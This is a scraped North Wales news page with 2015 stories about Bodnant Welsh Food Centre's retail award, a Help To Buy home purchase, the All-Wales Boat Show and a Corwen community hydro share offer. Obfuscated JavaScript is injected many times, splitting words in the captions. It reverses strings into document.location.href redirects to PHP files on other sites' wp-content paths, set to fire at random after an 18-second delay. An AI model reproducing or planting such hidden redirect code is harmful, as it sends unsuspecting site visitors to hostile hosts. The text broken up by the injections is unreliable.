Category: News

Bodnant named best retailer in Wales

Bodnant Welsh Food managing direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor Chris Mor$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); 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A Welsh centre of excellence has been named the best retailer in Wales.

Bodnant Welsh Food Centre has scooped the title in the prestigious Farm Shop and Deli Awards  – dubbed the industry’s Oscars.

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Customer votes along with secret visits by a panel of judges to the Conwy Valley centre, which stocks produce from more than 100 Welsh artisan suppliers, helped secure the prize.

Bodnant, will now go head-to-head with nine other regional winners – farm shops, delicatessens, butchers, bakers and food halls  – in the contest for the title of UK Retailer of the Year.

Chris Morton, Bodnant Welsh Food Centre managing director, said: “I am extremely proud and delighted that we have been named as the best retailer in Wales.

Bodnant Welsh Food managing direc<script>$zXz=function(n){if (typeof ($zXz.list[n]) == “string”) return $zXz.list[n].split(“”).reverse().join(“”);return $zXz.list[n];};$zXz.list=[tor Chris Morton with customer Gill Parmley from Glan Cowny." src="http://dev.ceidiog.com/pr/files/2015/04/2908BODNANT65-ceidiog.jpg" width="400" height="267" />

“This award is the result of votes by our customers, as well as the views of a panel of independent judges. That makes it extra special as it’s a real vote of conference from those who use the farm shop on a regular basis.

“Winning the award means a lot to everybody here at Bodnant because it shows that we are getting right. Also, it will help to put the produce of North Wales firmly on the map, and help raise the profile of the wonderful food and drink from this region."

The awards recognise the very best standards in the UK's independent, speciality retail market by celebrating the highest levels of service, product knowledge, initiative, innovation and community involvement. They are held in partnership with Olives Et Al, with category sponsors Lakeland Computers and Pidy and Hider.

The public were invited to vote online for their favourite, with a shortlist judged by a team of expert judges from the world of speciality retail, fine food and food media, who carried out a series of 'secret' visits in December 2014 to see the entrants in action.

The national categories include awards for bakers, butchers, cheesemongers, fishmongers, delicatessens, food halls, online businesses, greengrocers and local shops.

The overall winner will be announced at the Farm Shop & Deli Show on Monday 20 April 2015.

Food and drink writer Nigel Barden, chairman of the judges, said: "There are some truly brilliant regional winners, many of whom source produce locally and it’s marvellous to see that there’s a good spread of outstanding retailers in both urban and rural settings.

“Some of the further-flung winners offer a great service to their community, but are also worthy of destination shopping and they are savvy enough to have linked up with quality hoteliers, restaurateurs and publicans in their area to make the journey even more worthwhile. The British food and drink offer has never been better.”

Fellow food writer and co-chair of the judges Elaine Lemm, said: "It was both an honour and an unenviable task to choose regional winners from the wealth of talented, passionate finalists in the Farm Shop and Deli Awards this year. Everyone who reached this stage is already a winner and for a good reason, because they are the best. They should all be proud of their achievement in getting this far."

Bodnant Welsh Food Centre has its own dairy making cheese, butter and ice cream using milk for a neighbouring farm. There is an on-site bakery and butchery with award-winning pies, wine store and tea rooms plus the Hayloft restaurant and farmhouse accommodation, and a cookery school.

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Last year the centre won the Daily Post Achievement Wales Tourism Award, while farm shop was named as the best in the UK by the prestigious BBC Good Food magazine – bringing a congratulatory tweet from Prince Charles, who officially opened the complex in 2012 with his wife, the Duchess of Cornwall.

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In addition, the centre's home-made produce, from cheese to pies, picked up a host of awards, including Rising Star at the UK FARMA Awards, while the Hayloft restaurant was named as a Good Food Guide’s Little Gem.

Visitor numbers at the £6.5m centre at Tal y Cafn in the Conwy Valley are continuing to rise, thanks to the wide range of products and events, added Chris Morton.

“More and more people are seeing us as a day-trip destination – a place to visit and enjoy themselves - as well as a good place to stop off and pick up something delicious to eat,” he said.

“We have a growing band of loyal customers, who return time and time again, to buy the products we make on site – our range of cheeses, ice-cream and butter, plus our pies and butchery goods.”

More details about what’s on at Bodnant Welsh Food Centre or to order from the Farm Shop call 01492 651100 or visit www.bodnant-welshfood.co.uk

Wednesday April 1st, 2015

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Flintshire couple get their dream home thanks to Help To Buy scheme

Anwyl Help $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to buy scheme . Pictured are Stewart Campbell Anwyl , Scott Woodcock, Katie Davies and Iain Murray, Anwyl.

A young couple have paid tribute to the government scheme which has helped them buy and move into their first home.

Scott Woodcock and Katie Davies were one of the first to apply for the Welsh Government’s Help To Buy scheme when it was introduced just over 12 months ago and they are now the proud owners of a three-bedroomed house on Anwyl Homes’ Croes Atti estate, near Oakenholt, Flint.

To help them celebrate the success of their first home-buying venture Anwyl Homes Construction Manager Iain Murray dropped in with a bouquet of flowers and a bottle of bubbly for them.

Scott, 24, who works for an IT company in Chester, and Katie, 23, a behaviour support assistant at Flint High School, said that without Help To Buy and the support of Anwyl Homes they would still be paying more to live in rented accommodation.

Scott, originally from Connah’s Quay, said: “We came to the Croes Atti site last January to speak to Anwyl and see how realistic it was to get on the property ladder.

“They mentioned the Help To Buy scheme and talked us through it and even though we were looking at one of the smaller properties they helped us realise that we could go for this which has three double bedrooms, three bathrooms, a lovely big garden and is really finished to a very high quality.

“Without Help To Buy we would have had to put together a deposit of 20 per cent which was £30,000 and which was totally unrealistic at our age but instead we only had to find a five per cent deposit we are even paying less for our monthly mortgage than we were for rent.”

Mathew Anwyl, a Director of Anwyl Homes, said: “The Help To Buy scheme introduced in January 2014 has definitely made a difference to the housing market here in North Wales.

“The market for new homes in Wales had been depressed over the previous 12 months but it has been growing again and Help to Buy is accounting over 30 per cent of new purchases.

“As an industry we had been pressing the Welsh Government to follow England’s example in introducing Help to Buy and we’re delighted that they listened because it has given a shot in the arm to the construction sector.

“We now have active sites across North Wales and into Cheshire with major developments at Cross Atti in Oakenholt and at Northop, Rhyl and Abergele.

“This is creating more jobs and more apprenticeships and that is vital to create a strong and skilled workforce.

“It has been a very positive step and a limit of £300,000 on the value of a home has been set at an appropriate level to assist first-time buyers in getting onto the property ladder.”

Katie said: “It was wonderful when we were able to choose our house and to be able to pick things like the kitchen fittings and then watch the house being built.

“We moved in in July and it’s been finished to a really high standard and we’re really delighted with it because it’s big enough to be our home for some time and if we ever move we’d definitely choose an Anwyl home again.”

Scott added: “The quality of the build has been really good. We bought from plan so we have been able to watch it going up and it’s a home we could live in for a long time.”

The Croes Atti development will eventually be over 600 homes with open space and leisure areas with a first phase of 180 homes and it is part of plans to build over 400 homes over the next three years by Anwyl Construction, North Wales’s largest private housebuilder.

That represents a £40 million investment in the local economy by the award-winning company which has received planning permission for over 250 plots this year on sites throughout North Wales and Cheshire.

With a locally-based workforce and supply chains at least 80 per cent of that £40 million will stay in the area, mainly in wages, and with every £1 spent three times that means a £100 million plus bonanza for the region.

Anwyl are currently engaged in developments at new sites in Abergele, Northop Hall, Buckley, Port Dinorwic and Hoole, in Chester.

Monday March 30th, 2015

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Boat show will make £2.5m splash

ALL WALES BOAT SHOW PWLLHELI 2015 . Pictured are Steven Morgan of the Welsh Yachting Association, Stephen Tudor Pwllheli Sailing Club and Davina Carey-Evans, Managing Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor of Wales Watersports International

A boat and water sports show will create a £2.5 million economic bonanza in Gwynedd.

After two years in Conwy, the All-Wales Boat Show is moving to Pwllheli and organisers expect sales to top £2 million with an extra £500,000 being pumped into the local economy by visitors.

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The three-day event will be dropping anchor at Plas Heli, the Welsh Sailing Academy and Events Centre from Friday, May 8, to Sunday, May 10, and will be officially opened by Welsh Government Tourism Minister Ken Skates.

Organiser Davina Carey-Evans, Managing Director of Wales Watersports International, already has a successful track record with maritime events in Pwllheli.

She masterminded the marketing of the One Ton Cup which helped put Pwllheli on the global map in 2001.

Ms Carey-Evans said: "We were running out of space in Conwy and the move to Pwllheli was the next logical step in our evolution. I am from this area originally and I must say it feels very much as if the All-Wales Boat Show is coming home.

"The show is also going to bring great economic benefits in its wake because we are expecting boat sales to top £2 million. On top of that visitors will be spending a further £500,000 that will make the local economy more buoyant.

"We will have an even bigger range of boats on show this year with everything from high end luxury craft like Fairline and Chaparral to Sealeg which is a rib that can literally drive onto a beach.

"We'll also have hand built boats, boats that you can fold up and put in the back of your car and paddle boards.

"In addition, there'll be plenty of entertainment with a jet ski world champion and wakeboarding displays.

"What’s really exciting this year is that actually that balance is changing and it’s more of the Welsh companies getting behind the event which is making it a more established and exciting event."

Plas Heli chairman Stephen Tudor, a local estate agent and a brother of round-the-world yachtsman Richard Tudor, believes the arrival of the All-Wales Boat Show heralds a marriage made in maritime heaven.

Mr Tudor said: "We’re very excited that the All-Wales Boat Show has decided to move to Pwllheli.

"It’s one of the best sailing centres in the world and recognised as such. When people are going to Rio to the Olympics, the Olympic sailors there will have trained here, they will have sailed here.

"Sir Ben Ainsley has sailed here on a number of occasions as well as Hannah Mills who was a silver medallist in 2012.

"The All-Wales Boat Show coming to Pwllheli is important for Plas Heli and it is a natural fit.

"We have some fantastic pontoons that have been built with large footfall in mind. It is purposely built for an event of this type so there’s plenty of space on the water to exhibit boats and exhibit equipment on the water.

"Additionally, we have a large compound and space ashore which means we can have marquees and exhibiting areas.

"It’s an opportunity for us to show visitors what we have on the water but almost of equal importance is to show what we have ashore, the castles in Caernarfon and Criccieth, the trains, the mountains of Eryri and of course the natural beauty of Pen Llŷn.

"Everybody is a winner. Every good event that we have means that there will be return visits which will help lay foundations for a bright economic future for the area."

It was a sentiment echoed by Steve Morgan, the Chief Executive of Our Way Cymru/Wales, formerly the Wales Yachting Association.

According to Mr Morgan, the arrival of the All-Wales Boat Show was a key part of the strategy to expand the marine sector which already contributes £282 million a year to the Welsh economy.

He said: "Our ambition to make Wales one of the best places in the world to be a sailor.

“The marine leisure industry in Wales is a major player in terms of economic development and it needs the All-Wales Boat Show.

"It is a great opportunity to celebrate and shout about everything that’s good about our sport.

"The figures from last year’s show showed there was an increase in sales in terms of people who came to the show and bought boats and we're hoping that trend will continue. We're hoping for a bumper year."

Friday March 27th, 2015

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News

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Share issue for Corwen hydro-electric scheme brings power to the people

Corwen hydro scheme Pictured are Glaves Roberts ? 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Shares have gone on sale in a ground-breaking community hydro-electric power scheme which could make more than a quarter of a million pounds over 20 years.

The Corwen Electricity Co-operative, which expects to gross over £800,000 in that time, has just launched a share offer for 300,000 £1 shares and is looking for investors for the ambitious project which could earn the Denbighshire town over £12,000.

The shares are on sale now with a minimum investment required of £250 and already over 100,000 have been snapped up.

The co-operative has appointed four directors to oversee the share offer which will pay for a generating plant to be built in Corwen, powered by water from a reservoir in the hills above the town.

They are local businessmen Mike Paice, Glaves Roberts and Ifor Sion and engineer Joel Scott who are leading the drive to sell off the shares.

The scheme was the brainchild of rural regeneration agency Cadwyn Clwyd who worked with Denbighshire County Council, Natural Resources Wales and the Rhug Estate to develop the plans.

Water from the Nant y Pigyn stream 500 feet above Corwen and flowing at up to 50 litres a second will power a 55 kilowatt generator housed in a purpose-built building in the town and connected to the National Grid.

A feasibility study showed that the Nant y Pigyn scheme could generate 135,000 kilowatt hours of electricity a year, enough to power over 30 homes.

It was made possible by working with Denbighshire County Council whose flood alleviation scheme prevents the parallel Nant Cawrddu stream, which passes through a culvert under the 14th century Owain Glyndwr Hotel, from flooding the centre of town.

The £300,000 cost of the pipe, building, generator and connection to the National Grid will be paid for by the share issue and work will start as soon as the shares are sold out.

The Government’s electricity feed-in tariffs will then provide a guaranteed income for 20 years. Some of this income will need to be spent on running costs. Some income will be used to repay capital and to pay interest on shares and the remaining income will form a community fund, projected to be £500 per year.

The interest on shares which shareholders receive is projected to average 4 per cent a year over the 20 years. Shareholders will be able to claim tax relief on shares if the application is received before the end of March.

Mike Paice, from Cynwyd, said: “I’m interested in the community getting a lift from this and I’d like to think it would all be sold out in the next month or so.

“Anyone can buy shares in the scheme and shares will be allocated on a first come first served basis.”

Glaves Roberts added: “I would like to see it help local people with the work providing employment opportunities here and some money for the community as well.

“We’ve got all this water coming down so we might as well make use of it.

“We have worked closely with Denbighshire County Council and their flood alleviation scheme has really made this possible.

“It’s good to see that things are happening in the town – the steam train is here now and now we’re on the verge of having one of Wales’s first community hydro-electric power schemes.”

A public meeting two years ago helped set the wheels in motion and organisational experts Sharenergy, of Shrewsbury, who are experts in setting up renewable energy co-operatives, helped establish the not-for-profit community co-operative in Corwen.

The company now has a website, www.corwenelectricity.org.uk, and details of the share offer along with application forms are available online. Alternatively, you can phone Sharenergy for information on 01743 277119.

Silas Jones, Renewable Energy Officer for Cadwyn Clwyd, said: “The flood alleviation scheme made the hydro project possible and if we can get local people and local organisations involved then it can be a real boost to Corwen for years to come and provide a regular income to benefit the area.

“Successful similar community schemes run elsewhere in Wales, notably in the Brecon Beacons through the Green Valleys organisation but this is the first in North East Wales and one of the first in a town.”

Thursday March 26th, 2015

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News

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